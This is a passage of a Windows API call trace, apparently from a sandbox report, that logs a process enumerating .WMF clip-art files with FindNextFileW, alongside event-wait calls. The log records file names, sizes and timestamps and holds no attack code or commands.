lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0232.688] ResetEvent (hEvent=0x2b8) returned 1 [0232.688] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.690] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0232.690] ResetEvent (hEvent=0x2b8) returned 1 [0232.690] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.699] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0232.699] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0232.699] ResetEvent (hEvent=0x2b8) returned 1 [0232.699] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.710] ResetEvent (hEvent=0x2b8) returned 1 [0232.710] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.721] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0232.721] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0232.721] ResetEvent (hEvent=0x2b8) returned 1 [0232.721] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.771] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0232.771] ResetEvent (hEvent=0x2b8) returned 1 [0232.771] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.772] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0232.772] ResetEvent (hEvent=0x2b8) returned 1 [0232.772] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.820] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0232.820] ResetEvent (hEvent=0x2b8) returned 1 [0232.820] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.855] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0232.856] ResetEvent (hEvent=0x2b8) returned 1 [0232.856] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.861] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0232.861] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0232.861] ResetEvent (hEvent=0x2b8) returned 1 [0232.861] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.919] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0232.919] ResetEvent (hEvent=0x2b8) returned 1 [0232.919] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.939] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0232.940] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0232.940] ResetEvent (hEvent=0x2b8) returned 1 [0232.940] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.948] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0232.948] ResetEvent (hEvent=0x2b8) returned 1 [0232.948] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.955] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0232.956] ResetEvent (hEvent=0x2b8) returned 1 [0232.956] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.964] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0232.964] ResetEvent (hEvent=0x2b8) returned 1 [0232.964] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.971] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0232.971] ResetEvent (hEvent=0x2b8) returned 1 [0232.971] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.977] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0232.977] ResetEvent (hEvent=0x2b8) returned 1 [0232.977] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.984] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0232.985] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0232.985] ResetEvent (hEvent=0x2b8) returned 1 [0232.985] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.988] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0232.988] ResetEvent (hEvent=0x2b8) returned 1 [0232.988] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.000] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0233.001] ResetEvent (hEvent=0x2b8) returned 1 [0233.001] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.002] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0233.002] ResetEvent (hEvent=0x2b8) returned 1 [0233.002] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.175] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0233.176] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0233.176] ResetEvent (hEvent=0x2b8) returned 1 [0233.176] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.183] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0233.183] ResetEvent (hEvent=0x2b8) returned 1 [0233.183] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.186] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0233.186] ResetEvent (hEvent=0x2b8) returned 1 [0233.186] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.191] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0233.191] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0233.191] ResetEvent (hEvent=0x2b8) returned 1 [0233.192] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.198] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0233.198] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0233.198] ResetEvent (hEvent=0x2b8) returned 1 [0233.198] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.202] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0233.202] ResetEvent (hEvent=0x2b8) returned 1 [0233.202] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.209] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0233.209] ResetEvent (hEvent=0x2b8) returned 1 [0233.209] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.215] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0233.215] ResetEvent (hEvent=0x2b8) returned 1 [0233.215] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.219] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0233.219] ResetEvent (hEvent=0x2b8) returned 1 [0233.219] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.221] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0233.221] ResetEvent (hEvent=0x2b8) returned 1 [0233.221] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.223] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0233.223] ResetEvent (hEvent=0x2b8) returned 1 [0233.223] WaitForSingleObject 